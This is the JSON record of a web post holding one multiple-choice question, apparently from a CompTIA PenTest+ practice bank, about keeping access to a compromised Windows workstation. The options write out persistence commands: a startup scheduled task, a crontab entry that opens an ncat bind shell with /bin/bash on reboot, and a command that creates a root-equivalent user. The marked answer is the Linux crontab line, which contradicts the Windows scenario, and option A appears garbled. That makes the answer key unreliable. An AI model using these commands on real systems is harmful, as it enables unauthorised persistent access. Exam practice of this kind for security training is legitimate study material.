{"id":75,"date":"2022-11-26T07:50:17","date_gmt":"2022-11-26T07:50:17","guid":{"rendered":"https:\/\/exampracticetests.com\/c\/PT0-002\/comptia-pentest-pt0-002-question067\/"},"modified":"2022-11-26T07:50:17","modified_gmt":"2022-11-26T07:50:17","slug":"comptia-pentest-pt0-002-question067","status":"publish","type":"post","link":"https:\/\/exampracticetests.com\/c\/PT0-002\/comptia-pentest-pt0-002-question067\/","title":{"rendered":"CompTIA PenTest+ PT0-002 &#8211; Question067"},"content":{"rendered":"<div class=\"question\">A penetration tester was able to gain access successfully to a Windows workstation on a mobile client&#039;s laptop.<br \/>\nWhich of the following can be used to ensure the tester is able to maintain access to the system?<br \/><strong><br \/>A.<\/strong> schtasks \/create \/sc \/ONSTART \/tr C:Temp|WindowsUpdate.exe<br \/><strong>B.<\/strong> wmic startup get caption,command<br \/><strong>C.<\/strong> crontab -l; echo &quot;@reboot sleep 200 &amp;&amp; ncat -lvp 4242 -e \/bin\/bash&quot;) | crontab 2&gt;\/dev\/null<br \/><strong>D.<\/strong> sudo useradd -ou 0 -g 0 user<\/div>\n<p><\/p>\n<style> .hidden-div{ display:none } <\/style>\n<p>\t\t\t\t\t\t\t<button onclick=\"getElementById('hidden-div').style.display = 'block'\"> Show Answer <\/button> <button onclick=\"getElementById('hidden-div').style.display = 'none'\">Hide Answer<\/button><\/p>\n<div class=\"hidden-div\" id=\"hidden-div\"><span style=\"\"><\/p>\n<div class=\"answer\">Correct Answer: <strong>C<\/strong><\/div>\n<p><\/strong><\/span> <\/div>\n","protected":false},"excerpt":{"rendered":"<p>A penetration tester was able to gain access successfully to a Windows workstation on a mobile client&#039;s laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?A. schtasks \/create \/sc \/ONSTART \/tr C:Temp|WindowsUpdate.exeB. wmic startup get caption,commandC. crontab -l; echo &quot;@reboot sleep 200 &amp;&amp; ncat [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[3,70],"class_list":["post-75","post","type-post","status-publish","format-standard","hentry","category-comptia-pentest-pt0-002","tag-comptia-pentest-pt0-002","tag-question-067"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/posts\/75","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/comments?post=75"}],"version-history":[{"count":0,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/posts\/75\/revisions"}],"wp:attachment":[{"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/media?parent=75"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/categories?post=75"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/tags?post=75"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}